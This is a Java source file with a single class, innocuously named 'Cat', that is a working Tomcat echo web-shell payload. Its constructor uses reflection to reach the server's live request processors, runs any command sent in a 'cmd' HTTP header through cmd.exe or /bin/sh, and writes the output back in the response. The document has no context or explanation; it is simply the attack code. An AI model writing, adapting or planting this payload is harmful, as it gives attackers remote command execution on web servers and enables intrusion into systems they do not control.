public class Cat {
    public Cat()throws Exception{
        boolean flag = false;
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);
        for(int i = 0; i < threads.length; i++) {
            try{
                Thread t = threads[i];
                if (t == null) continue;
                String str = t.getName();
                if (str.contains("exec") || !str.contains("http")) continue;
                f = t.getClass().getDeclaredField("target");
                f.setAccessible(true);
                Object obj = f.get(t);
                if (!(obj instanceof Runnable)) continue;
                f = obj.getClass().getDeclaredField("this$0");
                f.setAccessible(true);
                obj = f.get(obj);
                try{
                    f = obj.getClass().getDeclaredField("handler");
                }catch (NoSuchFieldException e){
                    f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                }
                f.setAccessible(true);
                obj = f.get(obj);
                try{
                    f = obj.getClass().getSuperclass().getDeclaredField("global");
                }catch(NoSuchFieldException e){
                    f = obj.getClass().getDeclaredField("global");
                }
                f.setAccessible(true);
                obj = f.get(obj);
                f = obj.getClass().getDeclaredField("processors");
                f.setAccessible(true);
                java.util.List processors = (java.util.List)(f.get(obj));
                for(int j = 0; j < processors.size(); ++j) {
                    Object processor = processors.get(j);
                    f = processor.getClass().getDeclaredField("req");
                    f.setAccessible(true);
                    Object req = f.get(processor);
                    Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
                    str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
                    if (str != null && !str.isEmpty()) {
                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
                        byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
                        try {
                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                            obj = cls.newInstance();
                            cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        } catch (NoSuchMethodException var5) {
                            Class cls = Class.forName("java.nio.ByteBuffer");
                            obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        }
                        flag = true;
                    }
                    if (flag) break;
                }
                if (flag)  break;
            }catch(Exception e){
                continue;
            }
        }
    }
}